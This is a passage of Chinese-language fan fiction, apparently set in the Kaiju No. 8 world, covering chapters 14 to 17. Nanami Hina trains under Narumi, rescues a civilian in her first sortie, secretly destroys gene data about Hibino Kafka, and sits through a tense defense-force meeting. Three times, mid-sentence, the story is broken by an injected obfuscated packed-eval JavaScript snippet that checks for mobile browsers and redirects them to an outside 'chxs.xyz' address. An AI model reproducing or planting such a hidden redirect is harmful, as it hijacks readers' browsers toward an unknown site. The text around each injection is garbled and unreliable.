七海起了兴致,虽然并不知道保科指的预备队员是谁,但她接着问道:“之前小此木说过基地这回和医院那一回的冲击波很相似,所以其实你是怀疑他和失踪的八号有关?” “和七海这种聪明人沟通就是好,”保科轻笑一声,“所以你能赏光接收一下他的基因数据帮忙进行检测比对吗?” “铺垫这么多,你直接说不就行了……我能问问这位同期的名字么,我今天也入职。”七海笑着说完很快下一秒就笑不出来了。 “日比野卡夫卡,比你和我还大了好几岁。”保科回道,“这家伙还挺有意思的,简直是搞笑天才。” “总之尽快送来吧,我接下来要参加新人培训,晚上应该能用实验室。”七海匆忙挂断电话,而后抬眼盯着已经在远处瞪着自己很久的鸣海弦。 她迈开步子慢慢走过去:“队长,非常抱歉我迟到了。” “拜托,本队长亲自训练你,居然给我在那里讲电话,”鸣海走近一步,“是谁啊,让你连工作都不管了?” “私事。”七海只给出一个词的回答。 “工作时间没有私事,快说。”鸣海又开始无理取闹了,说着话的时候她的手机又震动起来,于是他在她按掉之前就迅速抢过了手机。 来电显示上的“保科宗四郎副队长”几个字很明显点燃了他原先就糟糕的情绪,他咬着牙按下接听键,没开口就听到对面的人开了口:“对了,刚刚忘记恭喜你入职,跟着鸣海可要保重啊。” “真是多谢你关心我的队员了。”鸣海瞥了一眼七海,同时用手肘将她推开。 “哎呀,这不是令人尊敬的第一部队队长鸣海吗,久疏问候,听说您之前装备失效差点牺牲在台场,害我们阳菜在会议上做了好长一段检讨呢。”保科阴阳怪气,这边听得一清二楚的七海努力忍着不要翻白眼。 “哦——你们阳菜……你这眯眯眼小心点说话,”鸣海强调到,“是我们的七海,跟你们第三部队半点关系也没有,以后也别联系了,永别!” 在灵敏的感官驱使下,七海立马就意识到鸣海要做什么,她弯腰从鸣海胳膊下钻过去冲上前,接住了即将被摔在地上的手机,秉持着上司再不是人那也是上司的原则,她调整了一下呼吸:“那么新人训练我应该做些什么呢,亲爱的鸣海队长。” 七海甚至微笑了一下。 “咳,”鸣海似乎对她服软的表现很满意,再次打开个人训练室的门,“以你目前的水准,我用不上你,对我来说是累赘。” “这个我知道,然后呢?”七海的语气又换回了平时的样子,见鸣海微微蹙眉,她连忙改了态度,“您继续。” “而我希望你是唯一能站在我身后的人,”鸣海说,“所以我来彻底改造你。” “就不能是东云吗,你那训练强度根本不是人类能承受的,你是最强,我可是人类。”七海颤抖着后退了好几步,前期特训时候的记忆又回来了。 “反正我不管你是求救也好,痛哭也好,在你达到今天的要求之前,我不会给你机会走出这个训练室。”鸣海说罢,身后的门响起了落锁的声响。 “不是,人要吃饭吧?”七海还想着中午有炸鸡一定要去吃午饭的。 “我和来栖拿了足够保证你能量补充的干粮,”鸣海摆出迎战的姿势,“现在开始,你要从我这里拿下五分。” “一号视网膜有预示未来的能力,”七海觉得这简直耸人听闻,“你认为我能在那堆能量棒吃完之前取五个点?” “为什么不可能,”鸣海看向她,“你是我选中的人。” 他的呼吸平稳,但七海听见了他在说出后半句时气息中微小的变化,而她也知道这是因为他很开心。 这人到底在开心什么啊,开心能折磨我吗? 七海惊恐地在心里想道。 14.内勤暴言(13) 内勤暴言(外勤版本)@wffh 第一次吃到食堂的宵夜,原来外勤过的是这种好日子(我吃我吃我吃吃吃穷你们) 01:22 dd/mm/yy twitter for web 俗话说得好,每个人一生都会碰上一些不太正常的同事,但是在神经病上司和智障同期之间,七海阳菜觉得自己做不出选择,要不都杀光了吧,她是一点也忍不了了。 她已经不想去理会同期伊东鄙夷的眼神和小此木哥那阴阳怪气的语调,反正同期皆智障,她又不是第一天上班。 “没上过大学怎么了,没见过高中学历啊。”她好想对着他们吼两声。 但是神经病上司,七海更是有冤无处宣泄,新人培训整整两周,每天早上八点,鸣海雷打不动在她宿舍门口候着,她认识他这么久了,从没见过他还有这么自律的阶段,哪怕是四之宫长官还在部队的时候,他都没在早训出现过任何一次,理由不外乎熬夜打游戏没睡醒,或者只有菜鸟才需要被/操/练。 以至于到第三天的时候,七海听见熟悉的脚步声就能自动自觉从扶手椅上弹起来,她知道那个神经病又要把她关进训练室里,逼着自己完成他的指标。 她无数次怀疑鸣海其实把这件事当成了一盒新的游戏卡带,而她是他选择的那个角色,他想用最少的时间把她训练到满级,到底谁会让开局三颗心的林克去打盖侬啊。 旁人对他们的特训十分好奇,因为他们两个人进了训练室之后通常要到深夜才会出来,甚至有一晚,伊东在夜跑的时候见到鸣海就那样扛着七海的“尸体”,走向了基地宿舍楼。 若是真去问七海他们到底做什么,七海认为自己给出的真实回答一定会无聊到让所有人都不相信。 没错,鸣海说的拿下五分,并非是要求她在格斗中获胜,而是在一号视网膜的预测下,她利用三号的超强感官先行一步触碰到对方——变相的躲猫猫。 从白天到黑夜,十几个小时,连着十三天,保科那里送来的基因数据对比她根本没有任何精力研究,什么怪兽八号,什么日比野前辈,再关心再好奇也没办法,她第一次这么怀念实验室。 每一个编号怪兽的基因适配者都得经历一个非常关键的阶段,就是在真正驾驭它们之前克服恐惧感,大多实验体都在这一步迎来了终结,与怪兽融合不是一件宛如吃饭睡觉似的寻常事,当那个不属于自己的基因带来的强大能量开始流经身体时,不可避免的恐惧也随之而来。 尤其是在战力全解放的瞬间,自己的意识一定要凌驾于基因之上,这一点对于接受了移植的鸣海和接受了注射的七海来说更是重要。 鸣海早早就发现了,七海在体力耗尽之后会放任自己的身体无意识行动。 当七海成为三号适配者之后,鸣海偶尔会想起当年功叔对他说的那些话。在他进入第一部队之后不久,他被确认为怪兽一号视网膜移植对象,开始了漫长的考察期,功叔和他说了移植的后果——“自我”注定会一步步被怪兽力量吞噬,直到自己的生命力完全消散在那之中。 要知道强行夺取本不属于人类的力量本身就是一场不平等交易,他们踩在那些因为超级怪兽而牺牲的战友肩上,驾驭着那些浑身都沾着人类鲜血的怪兽的力量,做着魔鬼与浮士德的勾当,却将自己称为国家的保护者,称为守护人类的最后一道防线。 失去了家人、失去了住所、失去了一切的鸣海抬头看向四之宫,他说:“可我永远是我自己。” 那是鸣海弦不可一世的十九岁。 这是鸣海从未与七海提及的内容,即便是如今他也只能发挥怪兽一号很小一部分的能力,而为了达到这一步,他曾被怪兽逼入过绝境,曾因为过度用眼暂时失明被七海痛殴,曾试过最大限度让自己的身体变得更加强大却仍然无法忽略那种被侵占感。 七海并非完全没有意识,她知道自己会进入短暂的脱离现实的状态,第一次经历时她害怕极了,脱去那些监控设备就走到来栖的办公室,跟他说觉得自己好像刚刚死过一回。 为了寻找破局的解法,她干脆把它当成了困扰她多年的创伤后遗症的脱敏治疗法,但是效果微乎其微。因为她只是意识暂时离开了身体,所以身体才会忘记濒死的感觉,可忘记不是脱敏,恐惧依然被保留下来了。 当旁人需要跨越的恐惧是“自我消失”的瞬间时,七海从头至尾都只是在怕死。 虽然嘴上说着鸣海是神经病,七海还没有幼稚到觉得他真的在斗气的程度,鸣海大概是真的想教会她些什么,只是作为一个知识储备完全无法给出科学解释的纯粹防卫队队员(尽管他也曾学业优秀),他当然会用命令代替指导。 “停——” 瘫倒在地上的七海觉得自己再也没办法睁开双眼了,她一头栽下去,艰难地喘着气,一只手拍着垫子做求饶状。 “休……休息十分钟。”她憋了半天,好不容易吐出了几个字。 鸣海也没回话,他向前一步想拉她起身,俯身低头看到她露出的后颈,汗珠缓缓滑下,短发有几绺黏在了皮肤上,训练服贴合着脊背,弓起时金属的部件也有一个弧度,正随着她粗重的呼吸起伏,向一条蜿蜒爬行的蛇。 他禁不住做了一个吞咽动作,咳嗽了一声,蹲下轻轻碰了碰她:“该起来了吧。” “这才过去三分钟……我不……”七海泄力倒向一侧,身子蜷缩成一团,眼睛睁开一些,她伸手拉住鸣海的短袖下摆,扯了两下。 “什么三分钟,这里又没倒计时。”鸣海慌忙拿开她的手,竭力忽视她微张的嘴和泛红的脸颊。 “因为你的心率很规律……”她说着又翻身仰躺着,长舒一口气,“每分钟不超过72次。” “你分神做这种事就不能集中注意力完成任务吗?”鸣海第一次觉得自己的心脏存在感这么强,要是他心跳快一点的话,不就被她听得一清二楚了吗。 “做不到就是做不到啊,数据都做不到……”七海回答着,却发现鸣海也学着她的样子躺了下来。 这是唯一能让他看不到七海的办法,他就不用逼着自己将视线移开了,鸣海听到她的话责怪道:“你根本就没使出全力。” “屁话。”七海懒得继续说。 鸣海觉得自己快被她气到七窍生烟了,他又坐直身子,回头看了一眼将手臂遮在眼前的七海,最终还是气不过,一手撑在她的头侧,另一手挪开她的胳膊,垂下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818077|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死盯着她说道:“睁开眼看我。” 两个人的距离被拉得特别近,她呼出的热气几乎打在了鸣海的脸上。 “我就想休息一下,你能不能……”七海对上了他变了形状的瞳仁,那副神情、那双眼,都让他变得不再像鸣海弦,她的手腕被锁住了,身体僵直,那明显陌生的敌意将她死死冻在垫子上。 但也仅仅是几秒而已,她敏锐的感官像是探知到了即将到来的危险一般,全部被调整到了最高模式,快一点,更快一点,完整的分析图在她脑海里迅速形成。 微小到可以忽略不计都疏漏终于成了她破局的口子,一转眼是天翻地覆,她跨坐在鸣海身上,手肘压在他的咽喉。 “我……我成功了?” 连她都不敢相信自己做到了什么,可她又清晰记得整个过程,她让自己分析凌驾于了三号的基因之上。 鸣海眨了眨眼,双眼恢复了原样,他别过脸抿着嘴,不想让七海看见他笑起来的样子。 他觉得她太厉害了,而他不能让她知道他是这样想的。 “你到底在高兴什么?”七海松开手,低头看着他。 “哈哈哈,”鸣海大笑着,“哈哈哈,我果然很适合教人!” “你是从哪里得出这个结论的?”七海震惊,“你会个毛线啊?” “你这不是全懂了吗,”鸣海笑得一脸灿烂,“是你利用它,不是它让你进化。” “所以你才用一号吓我?”七海这回真的是没力气了,她就这么坐着根本起不了身。 “没办法,谁让你一直没把三号当回事,怎么样,这次感受到那些东西的存在了?”原本躺着的鸣海直起腰两手托住她,让她借了点力能让到旁边去。 干脆就这么跪坐着的七海抬头看了一眼已经站起来的鸣海,眉头紧锁:“你有没有想过对于我来说,直接说比实践更容易理解,折磨我两个礼拜最后一天才说原理,你这个疯子……” “你不叫我一声恩师就算了还说上司是疯子,”鸣海伸手,“快起来。” “我不,我不起来。”七海满肚子的不满不知从何说起。 “但我还要提醒一点,”鸣海无视了她的拒绝一把抓住她的手,将瘫在地上的人直接拉起身,“别太依赖它,别用它来救自己的命,自己救自己。” “怎么,怕意识被怪兽吞噬吗?”七海揉了揉手腕,上面还有鸣海紧紧抓住时留下的红印。 “当然不怕,”鸣海昂起头,“因为我会救自己,如果你能乖乖求我的话,我也可以救你。” “那我还是被怪兽吞了吧。”七海颤抖着双腿,缓慢挪向门口。 “喂,我又没有在开玩笑,这很严肃的!”鸣海冲着她喊道。 “我知道啊,”七海转过身,“我知道你是不会死的。” “所以我是让你不要死。”鸣海说。 “那就得拜托你了,”七海笑道,“你不是要救我吗?” 他站在原地,看着训练室的大门打开,她就这样走出去,第一次有一种情绪这样清晰地在他胸膛浮现,就像空空荡荡的世界里突然闯进一只扑棱着翅膀的鸟,他因此而急切、焦虑。 这便是鸣海弦害怕失去的二十八岁。 15.内勤暴言(14) 内勤暴言(外勤版本)@wffh 不是,每天要收的密件也太多了吧。 我记得我现在不是内勤岗啊。 柜子越塞越满要爆炸了(掀桌) 08:22 dd/mm/yy twitter for web 在部队基础训练、技术组常态工作和三号专用装备调试之中分身乏术,后来的七海特地给保科又打了一次电话,关于日比野的那件事她实在抽不出时间调查,等到正式将技术组的任务交接完毕,那时候如果保科还需要的话,她一定竭尽所能。 当然了,她只是在客气,到底谁能在下班以后还能热心肠到这个程度去解决看起来很麻烦的问题。万一真是查出什么事情,她给保科提供了证据,他拿去在会议上一说,给出云科技摆一道,等着七海的会是赔钱还是蹲大牢,况且这种事情的结果,要么是日比野前辈有问题,要么就是战斗服设计其实有问题,不管是什么,她可一个都不想面对。 保科倒是也不为难她,只是礼貌询问了一下第一次出动的感受如何,他还听说她违反了上级命令。 没错,前段时间,就在入队差不多两个月的时候,港区再次遭到怪兽袭击,和上次在台场海滨的是同类型水生怪兽,本兽体型小了一倍,同样带来了相当数量的余兽,沿着海滨攀上周边的高楼,很快就爬满了外玻璃墙,正好是工作日的白天,近千名上班族被困无法撤离。 长谷川副队长迅速做出指示,鸣海队长依然是在基地待机,东云小队乘直升机在空中从上到下清除余兽,三宅小队在海滨控制本兽,等到一般民众全部撤离完毕,立刻击杀。 往日里总是按捺不住只想一击干掉怪兽的鸣海这天倒是听话,他目不转睛盯着监控室左上角的那块屏幕,七海的名字后面标注着她的心率与各类数值,正在平稳地波动着,她好像一点都不紧张。 这自然不是真的,出发前七海嘴里含着一颗巧克力,一边戴上面罩,一边提醒自己别忘记呼吸。根据她的作战习惯修改过几回的发射器与战斗服是百分百值得信赖的,她对此心知肚明,但尽管如此,慌张仍是不可避免。 监控室安稳的座椅与轰鸣着的直升机,那能一样吗? 小此木广之看到了脸色苍白的七海,那平日里冷淡漠然的模样看来也都是层伪装,到头来不过是胆小鬼一个。直接的目光似乎引起了对方的注意,他很快移开视线,看向了直升机外,眼前的一幕简直让他惊呆了——长着触手浑身黏液的余兽将一栋高楼完全包裹,外墙玻璃上全是青色透明的粘液,几乎看不到里面任何情形。 东云按下通讯器与监控室沟通:“副队长,我们这里应该还需要一个中队,木梨赶到了没?” “可能还需要四十分钟,他已经上车了。”长谷川回答道。 “偏偏是今天休假……”东云暂停通讯看向冷着脸的七海,“你要是没准备好,一会儿可以原路折返。” 不管日常生活里关系多么亲近,第一部队所有人只要站上前线就都接受不了无用的人,这是众所周知的道理,七海不会成为东云心中的例外。 “东云小队长,我们不能从上面开始扫射,”一直沉默着的七海突然开口,“绝不可以这么做。” “你要违抗命令吗?”东云皱起眉。 “足够射杀余兽的枪支口径会将外墙玻璃同时打碎,”七海手指着大楼,“我们也避不开承重墙,楼倒塌的速度和撤离的速度,我们赌不起。” “所以你准备怎么做?”东云再问。 七海思索了几秒,先问了驾驶直升机的队友:“现在有降落的条件吗,或者有没有让我们六个人到达那栋楼顶层平台的可能?” “天气情况良好,应该没有问题。” 收到了回复的七海深吸一口气,继续说道:“三号的合成蛛丝强度足以抵抗八级怪兽的粘液腐蚀,而我使用的是完全蛛丝,而非合成蛛丝,也就是说绝不会断开。” 她扫了一眼在座的队友:“如果你们相信我,那就捆住蛛丝从楼顶空降,将余兽全部打落。” “不过这个高度,”小此木广之强调,“余兽的增殖能力会在落地时……” “这个我也想到了,”七海犹豫了一阵,“我在模拟时尝试过但是我不知道能不能成功,但是如果木梨小队能及时在地面接应的话应该就能帮我兜底……” “你要做什么?”小此木广之追问。 “捕食网,”七海让大家顺着她的目光看下去,“东侧与西侧两栋子楼高度正合适,降落后给我点时间,只要我成功,你们就将余兽打落在上面。” “东云小队长,我们需要和长谷川副队长先报告吗?”驾驶舱内传出问句。 东云和七海对视了一眼,最后开口说道:“之后再报告,先降落。” “副队长,七海战力全解放了,百分之八十八。” 这一声让鸣海再次回过神,无人机被大量余兽包围着,直到看见七海的身影时,她轻巧地从高楼一跃而下,伴随着射出的大片蛛网,准确无误跳到了旁边的楼顶。 而本应该在半空进行射击的东云小队此时竟全员跳下了直升机,从楼顶开始空降,玻璃外墙的余兽便一头一头掉落。 长谷川的表情变得有点不安,他一方面认为七海在前线的指导确实值得信赖,另一方面却觉得让她一个刚入队不久的新人承担这种风险是不合理的。 要知道除了她之外的所有新入队员都是见惯了战斗场面的老手,不仅履历丰富,更是经验成熟,最主要的是,他们在必要时一定能做出取舍。 消灭怪兽与保卫人类是不能够划等号的两个目的,但是讨伐厅这样说了,防卫队就会这样做——毕竟没有一个队员不害怕电车难题。 “我们还需要一个中队!”东云的声音响起,“长谷川副队长,地面接应何时到位!” 没等长谷川给出回应,鸣海弯腰凑近通讯器回道:“六分钟。” “鸣海?”长谷川看着转身准备出发的他。 “今天难得有这么多观众,”鸣海笑起来,“我可要撤离的人每个人都上网tag我夸一遍。” 战力全解放的时间应该接近极限了,七海可以判断出自己血糖迅速在降低。留出的侧门距离避难地洞最近,大量的人群正从那里涌出,绝大多数的余兽也被捕食网控制,她长舒一口气就听到了有地方传来了尖叫声,调动感官进行寻找。 在哪里,在哪里? 在捕食网上,她瞬间紧张了起来。 “东侧蛛网上有一名被困市民,小此木先生你的位置可否支援?”七海问道。 “如何支援,”小此木的反问给她泼了一盆冷水,“除非解开蛛丝,否则市民无法脱身,解开蛛丝的话,地面撤离的近千人怎么办?” “你要我当做没有看见吗?”七海攥紧了拳头。 “七海,其实除了你根本没有人看得到,我从我的位置根本看不到有人。普通人根本看不到。”小此木说,“队长到了,准备填装弹药消灭余兽。” 地面那个身影出现在七海的眼里,鸣海已经做好准备将武器对准了怪兽,就在扣动扳机的瞬间七海跳上了捕食网,她刚摆出“停止”的手势,就听到通讯器里鸣海的声音:“你疯了?” “不能开枪,你给我三十秒!”七海一边避开捕食网上挣扎的余兽,一边朝前方的市民靠近。 “请紧紧抱住我。”她对被困的女性说,而后将面罩拿下来戴在对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864611|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方脸上,让她可以安全呼吸,接着用一层又一层的蛛网把两个人裹得严严实实,直到透不出任何一点缝隙为止,只有鸣海能在自己窒息之前解决掉一切,七海相信他。 “鸣海,就现在!” 话音刚落,她们就被完全包住。 她是真的疯了,鸣海立刻重新做好射击准备,余兽的核一个跟着一个爆炸,他甚至不敢计算过去了多久时间,因为在全部清理完毕的同时他放弃了使用通讯器,几乎是嘶声力竭喊道:“七海!” 东云小队全员除了七海均安全落地,小此木广之现在一眼就看到了用蛛网捆绑住的那一团,而头顶的捕食网在一点点变成碎片飘扬着,两个人便瞬间从半空坠落。 本能的求生欲驱使着七海再次射出蛛丝,早已被吓晕的女人被稳稳接住,七海却错过了给自己设置缓冲物的距离,她迅速转身,在路灯上借力踩了一下,但是体力耗尽没有翻身的力气了,不过这个高度加上战斗服保护,肯定死不掉,她干脆松了一口气任由自己躺下去,谁料下一秒却听见:“你不是最怕死了吗?” 她抬头望着跃到半空将自己抱起的人,鸣海垂眼与她对视。 她先是抿起嘴,然后突然笑了出来,而且一笑起来就停不下来,一直笑到眼角泪花都出来,她终于开口说道:“你居然真的会救我。” 不知道要说些什么的鸣海,正想教训她的时候,再一低头,她已经昏睡过去。 “你真的是疯子。”他摇摇头,然后换了只手将她扛到肩上,另一只手拿过自己的武器。 旁边的小此木广之想上来扶七海,被鸣海直接无视了。 事后七海写了十几页纸的现场情况说明,和队友的冲突也被她一笔带过写进去,长谷川在看到这里的时候心里便想着,果然和他预料的一样,七海是十足的保卫者,但做不了战士。 他估计鸣海也发现了这件事,不过他们都没有再提及,新人们的第一次出动便完满结束。 于是当保科在电话里问起时,七海也并未放在心上,她三言两语就概括了发生的一切,听得电话那头的保科陷入了沉默。 良久,他才继续回道:“七海你是个十足的好人。” “又在说什么反话?”七海疑惑。 “但那会把你引向死亡。”保科说得煞有介事,七海拿着手机的手僵住了一瞬,可对面立马又改了语气调侃,“没事,鸣海跟你都一样,玩命多有意思啊。” “谢谢夸奖了,保科副队长。”咬着牙回应完,七海又客套了两句,很快就挂了电话。 好人吗? 有没有可能只是因为不想死人? 将手机扔到一旁,七海靠在办公椅背上望着天花板发呆,正巧技术组的实习生拿着数据进来了,她直起身接过来翻了翻。 这奇怪的分析结果是什么,她连忙叫住实习生问:“这个数据怎么……你取样取的什么?” “白色标签那个……”实习生被问得愣住了。 “不好。”七海低声念了一句,那是她没处理掉的日比野前辈的基因样本,瞥见实习生的表情,她立刻安慰道,“是我记错了,你先回去吧,帮我把门带上。” 听到门关好的声响,七海伏案认真看了一遍前辈的数据,即便是注射与移植了怪兽基因的她和鸣海都不可能会出现这种情况,可很显然,日比野卡夫卡现在与怪兽基因的融合度几乎接近百分之三十。 更可怕的是,那个基因不属于任何已知怪兽,而如今也只有一头超级怪兽仍未被讨伐。 深夜时分,七海登入实验室系统清空数据,而后将白天那叠报告扔进碎纸机。 她庆幸融合度分析只有第一部队才有技术,也庆幸自己没有答应保科。 16.内勤暴言(15) 内勤暴言(外勤版本)@wffh 领导真是拎不清。 能让我参加的会议能是什么重要会议? 23:22 dd/mm/yy twitter for web 盛夏时节台风过境,被浸在闷热潮湿的气团里的东京被一场绵延数日不绝的暴雨冲刷干净,厚厚的云层散开。这日是满月,深夜里静悄悄的,好像大地在沉睡着,直到陆生的增殖型怪兽在相模原地带突然破土而出,这座城市又被惊醒。 第三部队的全体新人也迎来了第一次正式出动。 似乎自从招新之后起,第三部队就从不缺那些戏剧化的情节,不仅是身长超一百五十公尺的增值型怪兽在相模原肆意妄为,当日破晓后怪兽八号再次出现,未有编号的大怪兽也同时现身。 之后讨伐厅将其编为九号,并不对民众进行公开,目前二者均在逃亡中。 这些日子里唯一的好消息可能是日比野卡夫卡的转正消息,前不久七海收到了前辈的LINE,他很高兴地说自己终于从候补转正了,虽然战力解放值还是只有百分之一。 那时她盯着这条消息很久都没有回复,七海想起了被自己销毁的资料,先是按下了前辈的号码,而后又很快挂断。 “怎么了?” 日比野再发来一条消息。 “没事,我不小心按错了,前辈恭喜你。” 反常的事情还是忘了吧,前辈的梦想更重要。 不过第三部队又一次讨伐“大怪兽”失败的事情确实引起了讨伐厅高层的注意,这个月东日本季度会议上,亚白米娜被要求对此作出解释。一旁的鸣海别提心情多好了,他心想自己总算等到了这家伙吃瘪的一天。 被四之宫长官叫来旁听会议的七海看着鸣海的表情,一时无言,她时常在想亚白队长的脾气真不错,这么多年都没想过揍鸣海一次。 可是这会议到底要开多久,晚上七点开始就算了,这会儿怕是已经深夜了,七海觉得自己又饿了,她小心翼翼看了一眼正在讲话的长官,又瞥一眼自己身边其他部队的人,手伸进口袋里的能量棒包装纸撕开,掰了一块偷偷塞进嘴里。她不敢有太明显的咀嚼动作,只能等到含软了再咽下去。 一系列小动作被与她正对面的鸣海抓了个正着,他轻轻一挑眉,嘴角勾起,饶有兴致地像是在看乐子,因为长官下一句话就提到了各部队的适配者,屏幕上也按顺序出现了所有人的证件照与资料背景。 慌忙将嘴里的东西吞进肚子,七海坐直身子,将交叉的两条腿收回,两手放在膝盖上,她意识到自己正在受到种种视线洗礼,而六年前就被扔进这种场合的鸣海已然习惯,他神色不变,只是看起来似乎对那张没有更新的证件照有点不满意。 会议此时才算进入了正题,讨论的是关于是否有需要在其他地区调派适配者,诚然整个东日本地区,尤其是关东地区二十多年来都是怪兽频发中心,可是历史上也不是从没有在其他地方出现过大怪兽。现如今只有天王寺基地有五号适配者,而包含新入部队的三号适配者在内,东京竟有三位,并且按照前期计划的安排,未来的四号与六号适配者,都会从关东及中部四支部队中选拔出来。 也就是说一旦计划全部完成,整个东日本将拥有一至七号,除了五号以外所有适配者,这对其他地区的市民也是防卫资源分配不均的体现。 “需要我提醒各位吗,东京财政收入有多少比例都投在讨伐上,不仅养着东日本大半的部队,上年还给冲绳基地提供了技术支持。我们是可以调派适配者,但是建新的研发室,安置新的研究员,钱从哪里来,我想近畿地方没有这个输血的能力吧。” “我们在这里说分配不均,你非要提财政水平。” “我们关上门说的就是真话,你跟我谈正义谈理想,我得让大家看看现实。三号的研发组原先在鹿儿岛,结果是什么,我们牺牲了三位适配者……只能庆幸二十年来所有的大怪兽都出现在关东!” “下个月全国会议,倒是把这话说给所有人听啊。” “你也知道这是东日本会议,得了便宜就别扯公平了,东边每年死多少人,牺牲多少队员,我们跟西边争过吗?” …… “好了,可以了。” 始终一言不发的四之宫功打断了会议桌上的冲突,要解决长期堆积起来的问题不是纸上谈兵就可以的。 很显然今年以来,随着三号适配者的确立以及四号适配者的选拔开始,包括近期八号、九号的逃亡事件都在催化着众人的不安。过去所有怪兽的袭击总归都有迹可循,可接连几次都毫无预兆,防卫队的预测警报在八号与九号面前成了摆设,若是接下来他们再突袭西日本,那后果确实是不堪设想。 七海完全不知道自己是从哪一句话开始走神的,她觉得自己可能一直都在等待四之宫长官开口,因为那一定预示着散会。 快啊,快说下一句话啊,她盯着四之宫,满眼都是期待。 “今天的会就到这里……” 好耶,可以下班了! “鸣海留一下,七海也是。” 刚刚燃起的希望小火苗又被扑灭了,七海失落地坐在椅子上,等会议室里所有人差不多都走光了,她起身匆匆走到鸣海身边,两人并排站着,四之宫功便缓缓转过身看向他们。 “下半年会有一次联合集训……” 结果没等到长官把指示说完,会议室的大门被猛然推开,来栖气喘吁吁跑进来。 “四之宫长官,请原谅我必须和您报告这件事,立川基地沦陷了。” “什么时候的事情?”四之宫问。 “十分钟前,数十只推定强度为6.4级别的怪兽突袭立川基地,因为亚白队长在这里开会,所以第三部队向总部发来了求援信息。”来栖回答而后补充道,“亚白队长已经在回第三部队的路上,事态紧急所以征用了总部的车,这是用车申请。” 四之宫接过申请签下字,然后对着仍然在场的鸣海和七海说:“你们先回去吧,之后再说。” 后退着将会议室门关上,长官和来栖的对话便被挡在了门内。 一心只想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907078|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总算能下班的七海长舒一口气,想在回基地宿舍之前找个地方填肚子,反正现在也已经错过末班车时间了。结果又瞥见旁边鸣海一脸不满的样子,这家伙大概率又在想为什么出风头的总是第三部队了。 懒得伺候闹别扭的上司,七海准备悄悄溜走却被叫住,身后的鸣海给她使了个眼色,说道:“我开车了。” “我肚子饿。”七海回道。 “那就去吃东西。”鸣海晃了晃手里那串车钥匙。 “突然这么好心肠,”七海犹犹豫豫跟上,“你是不是又要借钱?” “我在你这里怎么一点公信力都没有啊,”鸣海发泄似的按下电梯按钮,“不是你说的饿了吗?” “鸣海队长,你上个星期半夜进我宿舍偷游戏卡带,你居然还问自己有没有公信力?”七海毫不留情反击。 “我饿了,是我饿了行不行,我要吃东西。”鸣海摇着头,“但是你就不能把游戏机还给我吗?” “不行,我还有一点就通关了。”电梯门打开,七海下意识按住了门。 鸣海刚跨进去,又瞪圆了眼睛退出来,他看向她:“等等,你通关了,那我的存档呢?” “就是用你的存档通关的。”七海微微一笑,一个滑步进了电梯,门被迅速关上,她挥挥手,“停车场等您哦。” 为了生命安全,七海在鸣海把车解锁后先行坐在了驾驶座上,她可一点都不信任这位又开始因为游戏存档闹脾气的上司,万一在公路上耍起什么疯,那可是一车两命。 “你下来。”鸣海扶着车门低头看她。 “为队长开车是我应该做的。”七海连忙扣上安全带。 “我的车我来开,”鸣海猫着腰钻进去伸手就要扯她的安全带,“滚旁边去。” “那使不得,这怎么使得。”七海两手死死按住,谁料错手将座椅放倒平躺了下去。 鸣海一个重心不稳,直接摔在她身上,额头磕碰了一下,抬眼时二人互相看着彼此,像是瞪眼游戏,谁也不主动将视线移开,狭小的车内,憋闷的天气,燥热的错觉在蔓延。 额角有汗珠滑下,呼吸像是滚烫的一般,她便咳嗽了一声提醒鸣海:“我认输了,你来开吧。” “算了还是你开,当然得是你为我服务。”鸣海挣扎着起身,接着整个人缩进了车后座,抱着膝盖团在角落看着窗外,什么话都不说。 深夜里除了二十四小时营业的便利店还亮着灯,四处都是一片昏暗,七海把车停在街旁,小跑着进去把货架上一排打折的临期饭团都扫进了购物筐里,因为防卫队这身显眼的队服还收获了店员的一声感谢问候。 再次回到车上时,鸣海已经倚着车窗睡着了,难得见到这么安静的他,七海撕开一个饭团,咬了一大口,而后从后视镜里看着他呓语说梦话的模样,在心里想着他睡相真差。 刚要露出一点嘲笑的表情,她却听清了那微弱的呓语,他在念她的名字,一遍又一遍重复着,只是她的名字。 “阳菜。” “阳菜。” “阳菜。” 17.内勤暴言(16) 内勤暴言(外勤版本)@wffh 不是……你们数据更新能不能慢点,完全跟不上节奏啊。 睡一觉起来就变天了,你们什么破单位。 07:22 dd/mm/yy twitter for web 自从四年前凌晨第一部队紧急出动,鸣海因为移植视网膜再次出现排异状况导致意外受伤,而七海却由于手机开了勿扰模式没有接到长谷川电话之后,她几乎不敢错过工作上任何通知。无论时间或早或晚,她总能第一时间回复与反馈,堪称内勤楷模,人送外号“使命必达小阳菜”。 这当然也给了作为部队一把手的鸣海一种误解,那就是不管几点都可以去麻烦七海,因为她不会拒绝。 